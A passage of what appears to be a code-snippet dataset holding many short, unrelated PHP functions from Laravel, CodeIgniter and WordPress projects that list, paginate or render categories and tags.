$querry->execute();\n\n\n $html=\"<div class='previewCategories'>\";\n\n //Keep on Appending the HTML OF EACH CATEGORY\n while($row=$querry->fetch(PDO::FETCH_ASSOC)){ //This loop working needs investigation\n $html.=$this->getCategoyHtml($row,null,true,true);\n }\n\n //Return the whole html to print\n return $html.\"</div>\";\n }", "public function category_list()\n\t{\n\t\t$this->admin_header();\n\t\t\n\t\t//fetch the total number of categories\n\t\t$config['total_num_category'] = $this->Admin_model->fetch_all_rows('category');\n\t\t\n\t\t//fetch the total number of tags\n\t\t$data['total_num_tags'] = $this->Admin_model->fetch_all_rows('tags');\n\t\t\n\t\t//$config['total_rows'] = $this->Admin_model->fetch_all_rows('food');\n\t\t \n\t\t$config['base_url'] = site_url(\"Admin/category_list/\");\n\t\t$config['per_page'] = 10;\n\t\t$config['uri_segment'] = '3';\n\t\t$config['num_links'] = round($config['total_num_category'] / $config['per_page']);\n\t\t\n\t\t$config['full_tag_open'] = '<ul class=\"pagination\">';\n\t\t$config['full_tag_close'] = '</ul>';\n\t\t\n\t\t$config['first_link'] = FALSE;\n\t\t\n\t\t$config['last_link'] = FALSE;\n\t\t\n\t\t$config['next_link'] = FALSE;\n\t\t\n\t\t$config['prev_link'] = FALSE;\n\t\t\n\t\t$config['cur_tag_open'] = '<li class=\"active\"><a href=\"#\">';\n\t\t$config['cur_tag_close'] = '</li>';\n\t\t\n\t\t$config['num_tag_open'] = '<li>';\n\t\t$config['num_tag_close'] = '</li>';\n\t\t\n\t\t$this->pagination->initialize($config);\n\t\t\n\t\t$page_number = $this->uri->segment(3);\n\t\t$data['categorys'] = $this->Admin_model->fetch_category($config['per_page'], $page_number);\n\t\t\n\t\t$data['total_num_pages'] = ceil($config['total_num_category'] / $config['per_page']);\n\t\t$data['total_num_rows'] = $config['total_num_category'];\n\t\t\n\t\t$url_segments = $this->uri->total_segments();\n\t\t$data['page_num'] = ($url_segments !== 3) ? 1 : $this->uri->segment(3);\n\t\t\n\t\t$this->add_category_template('category_list', $data);\n\t}", "function alaya_category_tags($cate_slug='',$number=20,$label='') {\n query_posts('posts_per_page='.$number.'&category_name='.$cate_slug);\n if (have_posts()) :\n\t\t\t $all_tags_arr=array(); \n\t\t\t $tagcloud='<div class=\"alaya_widget\">';\n\t\t\t while (have_posts()) :\n\t\t\t\tthe_post();\n\t\t\t\t$posttags = get_the_tags();\n\t\t\t\tif ($posttags) {\n\t\t\t\t foreach($posttags as $tag) {\n\t\t\t\t if(in_array($tag->name,$all_tags_arr)){\n\t\t\t\t\t continue;\n\t\t\t\t }else{\n\t\t\t\t\t$all_tags_arr[] = $tag->name;\n\t\t\t\t\tif($cate_slug<>''){\n\t\t $cat='&cat='.$cate_slug;\n\t\t\t\t\t}else{\n\t\t\t\t\t $cat='';\n\t\t\t\t\t}\n\t\t\t\t\tif($label<>''){\n\t\t\t\t\t $lab='&label='.$label;\n\t\t\t\t\t}else{\n\t\t\t\t\t $lab='';\n\t\t\t\t\t}\n\t\t\t\t\t$tagcloud.='<a href =\"'.esc_url(home_url('/')).'/?tag='.$tag->name.$cat.$lab.'\" class=\"tagclouds-item\">'.$tag->name.'</a>';\n\t\t\t\t }\n\t\t\t\t }\n\t\t\t\t}\n\t\t\t endwhile;\n\t\t\t $tagcloud.='</div>';\n endif;\n wp_reset_query();\n $tagcloud = apply_filters('alaya_category_tags', $tagcloud);\n return $tagcloud;\n}", "function tc_tag_list() {\r\n $post_terms = apply_filters( 'tc_tag_meta_list', $this -> _get_terms_of_tax_type( $hierarchical = false ) );\r\n $html = false;\r\n\r\n if ( false != $post_terms) {\r\n foreach( $post_terms as $term_id => $term ) {\r\n $html .= sprintf('<a class=\"%1$s\" href=\"%2$s\" title=\"%3$s\"> %4$s </a>',\r\n apply_filters( 'tc_tag_list_class', 'btn btn-mini btn-tag' ),\r\n get_term_link( $term_id , $term -> taxonomy ),\r\n esc_attr( sprintf( __( \"View all posts in %s\", 'customizr' ), $term -> name ) ),\r\n $term -> name\r\n );\r\n }//end foreach\r\n }//end if\r\n return apply_filters( 'tc_tag_list', $html );\r\n }", "function listCat()\n {\n session(['action' => 'listCat']);\n $list_cats = Product_cat::select('id', 'name', 'slug', 'created_at', 'parent_id')->get();\n $result = $this->data_tree($list_cats, 0, 0);\n\n //Duyệt từng ptu mảng $result\n foreach ($result as $k => $v) {\n //gán số lượng của tên danh mục = đếm số bản ghi có post_cat_id là id của danh mục\n $count_post[$v['name']] = Product::where('product_cat_id', $v['id'])->count();\n }\n return view('admin.product.cat', compact('result', 'list_cats', 'count_post'));\n }", "public function blogCats()\n {\n $social_links = Social_link::LeftJoin('social_links_translations','social_links_translations.social_id','=','social_links.id')\n ->select('social_links_translations.title as title' ,'social_links.id as id' ,'social_links.icon')\n ->where('locale',App::getLocale())->get();\n\n $countries = Country::leftJoin('countries_translations','countries_translations.country_id','=','countries.id')\n ->select('countries_translations.title as title' ,'countries.id as id')\n ->where('locale',App::getLocale())->get();\n\n $blogCats = BlogCategory::where('main' ,\"!=\", 1)->orderBy('id', 'desc')->paginate(12);\n return view('front/blogs/blog_categories' , compact('blogCats','social_links','countries'));\n }", "public function index()\n {\n // $tags= Tag::get();\n // return view('home',['category'=>$tags]);\n \n }", "public function displayCategories()\n {\n // echo \"calling\";\n $category=new Category();\n $cat=Category::all();\n // print_r($cat);\n return view('baroque.home')->with('categories',$cat);\n }", "public function get_categories()\n {\n return ['super-cat'];\n }", "public function categories()\n {\n $user = Auth::user();\n $categories = Categories::all();\n return view('categories', compact('user', 'categories'));\n }", "public function get_categories()\n {\n return ['hsblog'];\n }", "public function index()\n {\n $categories = Category::all();\n // Получим все категории в виде дерева\n $categoriesTree = Category::where('parent_id', '=', null)->orderBy('priority')->get();\n $categoriesTree = $this->recursiveChildMenu($categoriesTree);\n\n return view('admin.category.index', compact(['categories', 'categoriesTree']));\n }", "public function getCategories()\n\t{\n\t\t$categories = Categorie::all();\t\n\t\treturn View::make('categories.categories')->with('categories',$categories );\n\t}", "public function cgetAction() {\n $api = $this->container->get('winefing.api_controller');\n $response = $api->get($this->get('router')->generate('api_get_article_categories'));\n $serializer = $this->container->get('jms_serializer');\n $articleCategories = $serializer->deserialize($response->getBody()->getContents(), 'ArrayCollection<Winefing\\ApiBundle\\Entity\\ArticleCategory>', 'json');\n return $this->render('admin/blog/articleCategory.html.twig', array(\"articleCategories\" => $articleCategories)\n );\n }", "public function index()\n {\n return view('backend.Category.index')\n ->withCategorys($this->category->eagerLoad('category_description', 9));\n }", "function showCategory($catList) {\n $str =\"<ul id='menu-categories-menu'>\";\n foreach ($catList->getCategoriesActive()->getList() as $k => $v) {\n $str .=\"<li><a href='#'>\".$v->getCatname().\"</a></li>\";\n }\n $str .=\"</ul>\";\n return $str;\n}", "public function index()\n {\n $paginator = $this->blogCategoryAcme->getAllWithPaginate(5);\n return view('blog.admin.categories.index', compact('paginator'));\n }", "public function getCategorys(): View\n {\n $categorys = $this->categoryService->getAllCategorys();\n\n // In case our GET was a success we need to return a 200 HTTP OK response with the collection of category object\n return View::create($categorys, Response::HTTP_OK);\n }", "public function cat(){\n $cat_id = intval(I('get.cat_id'));\n if(!$cat_id){\n http_response_code(404);\n }\n\n $display = cookie('display');\n if($display) {\n if (!preg_match(\"/^list|grid$/\", $display)) {\n die('hack out');\n }else{\n if($display == 'list') {\n $this->assign('display', 1);\n }else{\n $this->assign('display', 0);\n }\n }\n }\n $this->assign('cat_id', $cat_id);\n $mbx = D('Admin/cat')->parentList($cat_id);\n if($mbx){\n $this->assign('mbx',$mbx);\n }\n\n $cat_in_nav = M('cat')->field('cat_id,cat_name')->where('show_in_nav=1')->select();\n $this->assign('cat_in_nav',$cat_in_nav);\n $his = array_reverse(session('history'),true);\n $this->assign('history',$his);\n $sale = M('goods')->field('goods_id,goods_name,thumb_img,shop_price,goods_number')->order('goods_number desc')->limit(10)->select();\n $this->assign('sale',$sale);\n $this->assign('cattree',D('Admin/Cat')->gettree());\n\n $this->assign('cat_name', M('cat')->field('cat_name')->find($cat_id)['cat_name']);\n\n $this->display();\n }", "public function listAction()\n {\n return view('blog.category.list');\n }", "public function tags_list()\n\t{\n\t\t$this->admin_header();\n\t\t\n\t\t//fetch the total number of categories\n\t\t$config['total_num_tag'] = $this->Admin_model->fetch_all_rows('tags');\n\t\t\n\t\t//fetch the total number of tags\n\t\t//$data['total_num_tags'] = $this->Admin_model->fetch_all_rows('tags');\n\t\t\n\t\t//$config['total_rows'] = $this->Admin_model->fetch_all_rows('food');\n\t\t \n\t\t$config['base_url'] = site_url(\"Admin/tags_list/\");\n\t\t$config['per_page'] = 50;\n\t\t$config['uri_segment'] = '3';\n\t\t$config['num_links'] = round($config['total_num_tag'] / $config['per_page']);\n\t\t\n\t\t$config['full_tag_open'] = '<ul class=\"pagination\">';\n\t\t$config['full_tag_close'] = '</ul>';\n\t\t\n\t\t$config['first_link'] = FALSE;\n\t\t\n\t\t$config['last_link'] = FALSE;\n\t\t\n\t\t$config['next_link'] = FALSE;\n\t\t\n\t\t$config['prev_link'] = FALSE;\n\t\t\n\t\t$config['cur_tag_open'] = '<li class=\"active\"><a href=\"#\">';\n\t\t$config['cur_tag_close'] = '</li>';\n\t\t\n\t\t$config['num_tag_open'] = '<li>';\n\t\t$config['num_tag_close'] = '</li>';\n\t\t\n\t\t$this->pagination->initialize($config);\n\t\t\n\t\t$page_number = $this->uri->segment(3);\n\t\t$data['tags'] = $this->Admin_model->fetch_tags($config['per_page'], $page_number);\n\t\t\n\t\t$data['total_num_pages'] = ceil($config['total_num_tag'] / $config['per_page']);\n\t\t$data['total_num_rows'] = $config['total_num_tag'];\n\t\t\n\t\t$url_segments = $this->uri->total_segments();\n\t\t$data['page_num'] = ($url_segments !== 3) ? 1 : $this->uri->segment(3);\n\t\t\n\t\t$this->add_tag_template('tags_list', $data);\n\t}", "public function getAllCategories();", "public function indexCategory()\n {\n $categories = Category::all();\n return view('category')->with(\"categories\", $categories);\n }", "public function categories()\n {\n $categories = Category::all();\n return view('editCategories', ['categories' => $categories] );\n }", "public function category()\n {\n return view('category');\n }", "public function display_edit_tags() {\n\n\t\tif ( ( $this->cahnrs_topics !== get_current_screen()->taxonomy && $this->cahnrs_units !== get_current_screen()->taxonomy ) || current_user_can( 'manage_network' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Set up the page.\n\t\tglobal $title;\n\t\t$taxonomy = get_current_screen()->taxonomy;\n\t\t$tax = get_taxonomy( $taxonomy );\n\t\t$title = $tax->labels->name;\n\t\trequire_once( ABSPATH . 'wp-admin/admin-header.php' );\n\t\techo '<div class=\"wrap nosubsub\"><h2>' . $title . '</h2>';\n\t\techo '<p><em>' . wp_count_terms( $taxonomy ) . ' items</em></p>';\n\n\t\t$parent_terms = get_terms( $taxonomy, array( 'hide_empty' => false, 'parent' => '0' ) );\n\n\t\tforeach ( $parent_terms as $term ) {\n\n\t\t\t$child_terms = get_terms( $taxonomy, array( 'hide_empty' => false, 'parent' => $term->term_id ) );\n\n\t\t\techo '<h3>' . esc_html( $term->name ) . '</h3>';\n\n\t\t\techo '<ul>';\n\n\t\t\tforeach ( $child_terms as $child ) {\n\n\t\t\t\t$child = sanitize_term( $child, $taxonomy );\n\t\t\t\t$child_link = get_term_link( $child, $taxonomy );\n\t\t\t\t$grandchild_terms = get_terms( $taxonomy, array( 'hide_empty' => false, 'parent' => $child->term_id ) );\n\n\t\t\t\techo '<li><h4><a href=\"' . esc_url( $child_link ) . '\">' . esc_html( $child->name ) . '</a> (' . $child->count . ')</h4>';\n\n\t\t\t\tif ( ! empty( $grandchild_terms ) ) {\n\n\t\t\t\t\techo '<ul>';\n\n\t\t\t\t\tforeach ( $grandchild_terms as $grandchild ) {\n\n\t\t\t\t\t\t$grandchild = sanitize_term( $grandchild, $taxonomy );\n\t\t\t\t\t\t$grandchild_link = get_term_link( $grandchild, $taxonomy );\n\n\t\t\t\t\t\techo '<li><a href=\"' . esc_url( $grandchild_link ) . '\">' . esc_html( $grandchild->name ) . '</a> (' . $grandchild->count . ')</li>';\n\n\t\t\t\t\t}\n\n\t\t\t\t\techo '</ul>';\n\n\t\t\t\t}\n\n\t\t\t\techo '</li>';\n\n\t\t\t}\n\n\t\t\techo '</ul>';\n\n\t\t}\n\n\t\t// Close the page.\n\t\techo '</div>';\n\n\t\tinclude( ABSPATH . 'wp-admin/admin-footer.php' );\n\n\t\tdie();\n\n\t}", "public function list() {\n $list = CategoryModel::orderby('id')->get();\n return view('cms.categories', compact('list'));\n }", "public function get_categories() {\n return [ 'yx-super-cat' ];\n }", "public function tag_cloud_display() {\n\t\t// Build the output to return for use by the shortcode.\n\t\tob_start();\n\n\t\t$tags = get_tags();\n\t\t$html = '<div class=\"post_tags\">';\n\n\t\tforeach ( $tags as $tag ) {\n\t\t\t$tag_link = get_tag_link( $tag->term_id );\n\t\t\t$html .= '<a href=\"' . esc_url( $tag_link ) . '\" title=\"' . esc_attr( $tag->name ) . '\" class=\"' . esc_attr( $tag->slug ) . '\">';\n\t\t\t$html .= esc_html( $tag->name ) . '</a>';\n\t\t}\n\n\t\t$html .= '</div>';\n\t\techo $html;\n\n\t\t$content = ob_get_contents();\n\t\tob_end_clean();\n\n\t\treturn $content;\n\t}", "public function listOfCategory()\n {\n //$sub_category = Categories::where('is_parent', 1)->orderBy('category_name')->get();\n return view('admin.category.categoryList');\n }", "function showCategory()\n\t {\n\t\t\n\t\t $res=mysql_query(\"select * from category\");\n\t\t while($data=mysql_fetch_array($res))\n\t\t {\n\t\t\t\n\t\t\techo '<option value=\"'.$data['cat_id'].'\">'.$data['cat_title'].'</option>';\n\t\t }\n\t\t \n\t }", "public function listCategory()\n {\n if (isset($_GET['search'])) $data['search'] = $_GET['search'];\n $data['categorys_list'] = Category::OrderBy('title', 'asc');\n if (!empty($data['search'])) {\n $search_token = explode(' ', $data['search']);\n foreach ($search_token as $search) {\n $data['categorys_list'] = $data['categorys_list']->where(function ($query) use ($search) {\n $query->where('title', 'LIKE', '%' . $search . '%');\n });\n }\n }\n\n $data['categorys_list'] = $data['categorys_list']->paginate(PAGINATE_SMALL, ['*'], 'p');\n return view('category.list', $data);\n }", "public function bytag($id)\n\t{\n\t \n $tag = Tag::where('slug', '=', $id)->first();\n $taglist = Tag::findOrFail($tag->id)->cposts()->paginate(6);\n return view('catindex', array('type'=>'Tag','categlist' => $taglist,'posttype'=>$tag) );\n \n \n }", "public function index()\n {\n return view('admin.categories.index', ['title' => 'Категории']);\n }", "function showCategoryNames(){\n $this->load->model('pagesortingmodel');\n $data['groups'] = $this->pagesortingmodel->getAllCategories();\n $this->load->view('admin/create_categories',$data);\n }", "public function index()\n {\n SEO::setTitle(trans('alpaca::category.category_index'));\n SEO::metatags()->addMeta('robots', 'noindex,nofollow');\n\n $categories = Category::paginate(20);\n\n return view('alpaca::category.index', compact('categories'));\n }", "function displayCategoryLinks() {\n\n\t$catquery = \"select distinct ngroup from nassets where type like '0tdn%'\";\n\t$cresults = mysql_query($catquery);\n\t$has_null = false;\n\t$categories = array();\n\twhile ($acRow = mysql_fetch_array($cresults)) {\n\t\t$thisgroup = $acRow['ngroup'];\n\t\t$categories[] = $thisgroup;\n\t}\n\t\n\n\techo \"<ul>View by Category<br>\";\n\t$size = count($categories);\n \tforeach ($categories as $category) {\n \t\techo \"<li><a href=\\\"menu2.php?category=$category\\\" target=\\\"menu2\\\">$category</a><br/></li>\";\n \t}\n\n\techo \"</ul>\";\n}", "function print_categories( $thisId ) { \n $thisCat = get_the_category( $thisId );\n foreach( $thisCat as $cat ) {\n echo $cat->slug . \" \";\n }\n}", "public function category()\n {\n $categories = category::latest()->paginate(5);\n return view('admin.category',compact('categories'));\n }", "public function getViewedCategory();", "public function index(){\n return view('categories.categories')->with(\n [\n 'categories' => Category::all()\n ]\n );\n }", "public function index()\n {\n //$paginator = BlogCategory::paginate(15);\n $paginator = $this->blogCategoryRepository->getAllWithPaginate(5);\n\n return view('blog.admin.categories.index', compact('paginator'));\n }", "public function index() {\n $cats = Category::where('type', 'cat')->paginate(20);\n $data = [\n 'title' => 'Quản lý Danh mục',\n 'cats' => $cats,\n 'listcats' => Category::list_tree_tr($cats, 0, 0),\n 'type' => 'cat'\n ];\n return view('backend.category.index', $data);\n }", "public function index()\n {\n $data = [\n 'categories' => $this->blogCategoryRepository->all(),\n ];\n\n return view('admin.pages.blog.categories.index', $data);\n }", "function gtags_display_tags() {\n\n\t$gtags_dir_cloud = get_option('gtags_dir_cloud'); \n\t\n\tif ( $gtags_dir_cloud=='show' || $gtags_dir_cloud=='link' || !$gtags_dir_cloud ){\n\t\t$hide_tag_style = 'link' == $gtags_dir_cloud ? ' style=\"display:none;\" ' : '';\n\t\t\t\t\n\t\techo '<div id=\"gtags-top\">';\n\t\techo '\t<div id=\"gtags-top-cloud\" class=\"gtags\"'.$hide_tag_style.'>'. wp_generate_tag_cloud( gtags_make_tags(), gtags_cloud_args() ).'</div>';\n\t\t\n\t\tif ( $gtags_dir_cloud=='link' ) {\n\t\t\techo '\t<div id=\"gtags-toggle-top\"><a href=\"javascript:void(0);\">Afficher les catégories de projet</a></div>';\n\t\t}\n\t\t\n\t\techo '</div>';\n\t}\n}", "public function getMetaTagsCategories()\n\t{\n\t\treturn $this->metaTagsCategories;\n\t}", "public function categories()\n\t{\n $data['category'] = $this->uri->segment(3);\n \n //NO CATEGORY SELECTED\n if($data['category'] == NULL){\n $template_data['title'] = \"Categories\";\n $template_data['content'] = $this->load->view('player/categories', $data, true);\n $this->load->view('templates/main', $template_data);\n }else{ //CATEGORY SELECTED\n $template_data['title'] = ucfirst($data['category']);\n $template_data['content'] = $this->load->view('player/songs', $data, true);\n $this->load->view('templates/main', $template_data);\n } \n\t}", "public function categories() {\n\t\treturn $this->terms('category');\n\t}", "public function category(){\n\t\t$this->load->helper('url');\n\t\t$data['userLogin'] = $this->checkLogin();\n\t\tif($data['userLogin']){\n\t\t\t$data['user'] = $this->getUser();\n\t\t}\n\n\t\t$data['sidebar'] = $this->sidebar();\n\n\t\t$this->load->view('frontend/templates/header');\n\t\t$this->load->view('frontend/templates/navigation');\n\t\t$this->load->view('frontend/category', $data);\n\t\t$this->load->view('frontend/templates/sidebar');\n\t\t$this->load->view('frontend/templates/footer');\n\t}", "public function index()\n {\n $this->addBreadcrumb('Categories', null, 'circle-o-notch');\n $org = getDefaultOrg();\n $categories = Category::where('organization_id', '=', $org->id)->get();\n return $this->view('admin.categories.index', ['categories' => $categories]);\n }", "public function actionIndex()\r\n {\r\n $this->setMetaTags();\r\n return $this->render('index', ['dataProvider' => (new Category)->search()]);\r\n }", "public function index()\n {\n $categories = Category::all();\n return view('adminlte::categories.main',compact('categories'));\n }", "public function index()\n {\n $page_size = $this->per_page;\n\n $categories = $this->repository->page($page_size);\n \n $categories_count = $this->repository->count();\n\n return view(\n 'admin.category.index',\n compact(\n 'categories',\n 'categories_count'\n )\n );\n }", "function DisplayForumCategories()\n {\n global $DB, $categoryid, $mainsettings, $sdlanguage, $sdurl, $userinfo, $usersystem;\n\n //SD343: display optional tag cloud\n $forum_tags = false;\n if(!empty($this->conf->plugin_settings_arr['display_tagcloud']))\n {\n require_once(SD_INCLUDE_PATH.'class_sd_tags.php');\n SD_Tags::$maxentries = 30;\n SD_Tags::$plugins = $this->conf->plugin_id;\n SD_Tags::$tags_title = $sdlanguage['tags_title'];\n SD_Tags::$targetpageid = $categoryid;\n SD_Tags::$tag_as_param = 'tag';\n if($forum_tags = SD_Tags::DisplayCloud(false))\n {\n if(in_array($this->conf->plugin_settings_arr['display_tagcloud'],array(1,3)))\n {\n echo $forum_tags;\n }\n }\n }\n\n echo '\n <table border=\"0\" class=\"forums\" cellpadding=\"0\" cellspacing=\"0\" summary=\"layout\" width=\"100%\"><thead><tr>';\n if(!empty($this->conf->plugin_settings_arr['display_forum_image']))\n {\n echo '<th class=\"col-forum-icon\"> </th>';\n }\n echo '<th class=\"col-forum-title\">'.$this->conf->plugin_phrases_arr['column_forum'].'</th>';\n if(!empty($mainsettings['enable_rss_forum']))\n {\n echo '<th class=\"col-rss\"><a title=\"RSS\" class=\"rss-icon\" href=\"forumrss.php\">RSS</a></th>';\n }\n echo '<th class=\"col-topic-count\">'.$this->conf->plugin_phrases_arr['column_topics'].'</th>\n <th class=\"col-post-count\">'.$this->conf->plugin_phrases_arr['column_posts'].'</th>\n <th class=\"col-last-updated\">'.$this->conf->plugin_phrases_arr['column_last_updated'].'</th>\n </tr></thead>';\n\n if(isset($this->conf) && isset($this->conf->forums_cache['categories'])) //SD343\n foreach($this->conf->forums_cache['categories'] as $fid)\n {\n if(!isset($this->conf->forums_cache['forums'][$fid])) continue; //SD343\n $entry = $this->conf->forums_cache['forums'][$fid];\n\n if(!$this->conf->IsSiteAdmin)\n {\n if(empty($entry['online'])) continue;\n $entry_groups = sd_ConvertStrToArray($entry['access_view'],'|');\n if(!empty($entry_groups) && !count(@array_intersect($userinfo['usergroupids'], $entry_groups)))\n continue;\n }\n\n if(empty($entry['parent_forum_id']) && empty($entry['is_category']))\n {\n if($res = $this->DisplayForums(0,$fid,$entry['title']))\n {\n echo $res;\n }\n continue;\n }\n\n $output = '\n <tbody>\n <tr>\n <td colspan=\"6\" class=\"category-cell\">\n <div class=\"category-title-container\">';\n\n if(strlen($entry['title']))\n {\n $image = '';\n if(!empty($entry['image']) && !empty($entry['image_h']) && !empty($entry['image_w']))\n {\n $image = '<img src=\"'.SDUserCache::$img_path.$entry['image'].'\" alt=\"\" width=\"'.(int)$entry['image_w'].'\" height=\"'.(int)$entry['image_h'].'\" />';\n }\n $output .= '<span class=\"category-image\">'.($image?$image:'&nbsp;').'</span> <span class=\"category-title\">'.$entry['title'].'</span>';\n if(strlen($entry['description']))\n {\n $output .= '\n <span class=\"category-description\">' . $entry['description']. '</span>';\n }\n }\n $output .= '\n </div>\n </td>\n </tr>\n </tbody>';\n\n if($res = $this->DisplayForums($fid,0,$entry['title']))\n {\n echo $output . $res;\n }\n\n } //foreach\n\n echo '\n </table>\n ';\n\n //SD343: display optional tag cloud\n if(!empty($forum_tags) && !empty($this->conf->plugin_settings_arr['display_tagcloud']) &&\n in_array($this->conf->plugin_settings_arr['display_tagcloud'],array(2,3)))\n {\n echo $forum_tags;\n }\n\n }", "public function index() {\n $categorys = Category::orderBy('name')->get();\n return View::make(\"admin.category.list\", array(\"categories\" => $categorys));\n }", "public function listAction()\n {\n $module = $this->params('module');\n\n // Get config\n $config = Pi::service('registry')->config->read($module);\n\n // Set info\n $categories = [];\n $where = ['status' => 1];\n $order = ['display_order DESC', 'title ASC', 'id DESC'];\n $select = $this->getModel('category')->select()->where($where)->order($order);\n $rowSet = $this->getModel('category')->selectWith($select);\n\n // Make list\n foreach ($rowSet as $row) {\n $categories[$row->id] = Pi::api('category', 'video')->canonizeCategory($row);\n }\n\n // Set category tree\n $categoryTree = [];\n if (!empty($categories)) {\n $categoryTree = Pi::api('category', 'video')->makeTreeOrder($categories);\n }\n\n // Set header and title\n $title = __('Category list');\n\n // Set seo_keywords\n $filter = new Filter\\HeadKeywords;\n $filter->setOptions(\n [\n 'force_replace_space' => true,\n ]\n );\n $seoKeywords = $filter($title);\n\n // Save statistics\n if (Pi::service('module')->isActive('statistics')) {\n Pi::api('log', 'statistics')->save('video', 'categoryList');\n }\n\n // Set view\n $this->view()->headTitle($title);\n $this->view()->headDescription($title, 'set');\n $this->view()->headKeywords($seoKeywords, 'set');\n $this->view()->setTemplate('category-list');\n $this->view()->assign('categories', $categories);\n $this->view()->assign('categoryTree', $categoryTree);\n $this->view()->assign('config', $config);\n }", "public function index()\n {\n return view('Categories');\n }", "public function categoryIndex()\n {\n $output = $this->product->getProductCategory();\n\n return view('product_category.index',compact('output'));\n }", "public function showMainCategories()\n {\n $category = new Category;\n \n return new ViewResponse(\"frontend::categories::main.php\", [\n 'categories' => $category->getCollection( $category->byName($category->allParent()) ) \n ]);\n }", "public function category(){\n \treturn view('categories.category');\n }", "public function lister(){\n $data['allcat'] = $this->categorie_model->allCategories();\n\n\t\t\t$this->load->view('Categorie/lister', $data);\n\t\t}", "public function indexAction()\n {\n $this->denyAccessUnlessGranted('ROLE_ADMIN', null, 'Unable to access this page!');\n $em = $this->getDoctrine()->getManager();\n\n $categories = $em->getRepository('DecodesBundle:Category')->findAll();\n\n return $this->render('category/index.html.twig', array(\n 'categories' => $categories,\n ));\n }", "public function getIndex()\n\t{\n\t\t$response['pageTitle'] = trans('global.categories');\n\n\t\t$response['categories'] = Model_Categories::getCategory(FALSE, ['title']);\n\n\t\tforeach ($response['categories'] as $key => $category)\n\t\t{\n\t\t\tif (($category['level']) == 0)\n\t\t\t{\n\t\t\t\t$response['main_categories'][$category['id']] = $category['id'];\n\t\t\t}\n\t\t\telseif ($category['level'] == 1)\n\t\t\t{\n\t\t\t\t$response['second_level_categories'][$category['parent_id']][] = $category['id'];\n\t\t\t}\n\t\t}\n\n\t\t$customCSS = [\n\t\t\t'global/plugins/datatables/plugins/bootstrap/dataTables.bootstrap',\n\t\t];\n\n\t\t$customJS = [\n\t\t\t'global/plugins/datatables/media/js/jquery.dataTables.min',\n\t\t\t'global/plugins/datatables/plugins/bootstrap/dataTables.bootstrap',\n\t\t\t'global/plugins/bootbox/bootbox.min',\n\t\t];\n\n\t\t$response['blade_custom_css'] = $customCSS;\n\t\t$response['blade_custom_js'] = $customJS;\n\n\t\treturn Theme::view('categories.list_categories', $response);\n\t}", "public function action_cat()\n {\n $cat = $this->request->param('cat');\n $cat = mysql_real_escape_string ($cat);\n \n // Получаем список продукций\n // $category = ORM::factory('category')->where('cat_id', '=', $cat)->find();\n $category = ORM::factory('category')->where('path', '=', $cat)->find();\n\n if(!$category->loaded()){\n $this->redirect();\n }\n \n $count = $category->products->where('status', '<>', 0)->count_all();\n $pagination = Pagination::factory(array('total_items'=>$count,'items_per_page'=>2));\n $prods = array();\n $products = $category->products\n ->where('status', '<>', 0)\n ->limit($pagination->items_per_page)\n ->offset($pagination->offset)\n ->find_all();\n $prs = $category->products\n ->select('prod_cats.prod_id')\n ->where('status', '<>', 0)\n ->find_all();\n foreach ($prs as $p)\n {\n $prods[] = $p->prod_id;\n }\n if(count($prods))\n $brands = ORM::factory('brand')\n ->join('products')\n ->on('brand.brand_id', '=', 'products.brand_id')\n ->where('products.prod_id','in',$prods)\n ->group_by('brand.title')\n ->order_by('brand.title', 'ASC')\n ->find_all();\n \n \n \n //$products = $category->products->where('status', '!=', 0)->find_all();\n // $this->breadcrumbs[] = array('name' => $category->title, 'link' => '/catalog/cat/c' . $category->cat_id);\n $this->breadcrumbs[] = array('name' => $category->title, 'link' => '/catalog/cat/' . $category->path);\n $this->template->breadcrumbs = Breadcrumb::generate($this->breadcrumbs);\n \n $content = View::factory('/' . $this->theme . 'index/catalog/v_catalog_cat', array(\n 'products' => $products,\n 'cat' => $cat,\n 'pagination' =>$pagination,\n 'brands' =>$brands,\n \n ));\n \n // Выводим в шаблон\n \n $this->template->title = $category->title;\n $this->template->page_title = $category->title;\n $this->template->page_caption = $category->title;\n $this->template->center_block = array($content);\n $this->template->block_right = null; \n $filter = Filter::factory();\n $filter->loadFiltersOptions($category->cat_id);\n $this->template->filter = $filter->render();\n }", "public function index()\n {\n// $paginator = BlogCategory::paginate(5);\n $paginator = $this->blogCategoryRepository->getAllWithPaginate(15);\n\n return view('blog.admin.categories.index', compact('paginator'));\n }", "public function run()\n {\n $categories = Category::whereNull('category_id')->get();\n $categories = CategoryTools::makeListSlugs($categories);\n $this->config['categories'] = $categories;\n\n return view('widgets.categories_menu', [\n 'config' => $this->config,\n ]);\n }", "public function index()\n {\n $categories = Category::all();\n return view('adminpages.categories.index')->with([\n 'categories' => $categories\n ]);\n }", "public function index() {\n\t\t$categories = Category::paginate(15);\n\t\treturn view('backend.categories.index')->with([\n\t\t\t'categories' => $categories,\n\t\t]);\n\t}", "function list_categories() {\n $project_parent_category = get_category_by_slug('project');\n $project_parent_category_id=$project_parent_category->term_id;\n $categories=get_the_category();\n $count = 0;\n foreach($categories as $category){\n if($category->category_parent==$project_parent_category_id){\n if ($count == 0) {\n echo '<div class=\"category-symbology\">';\n\n if(get_post_type(get_the_id()) == 'discussion') { echo '<i class=\"social-foundicon-chat\"> </i> '; }\n }\n echo \"<a class='one-category' href='/project/\". $category->slug . \"'>\" . $category->name . \"</a>\";\n if ($count == 0) {\n echo '</div>';\n } \n $count++;\n }\n }\n\n //emit a chat symbol for discussion\n if($count == 0 && get_post_type(get_the_id()) == 'discussion') {\n generate_discussion_w_no_category();\n }\n}", "public function index()\n {\n $categories = $this->repository->orderBy('title', 'ASC')->paginate();\n\n return view('admin.categories.index', compact('categories'));\n }" ]
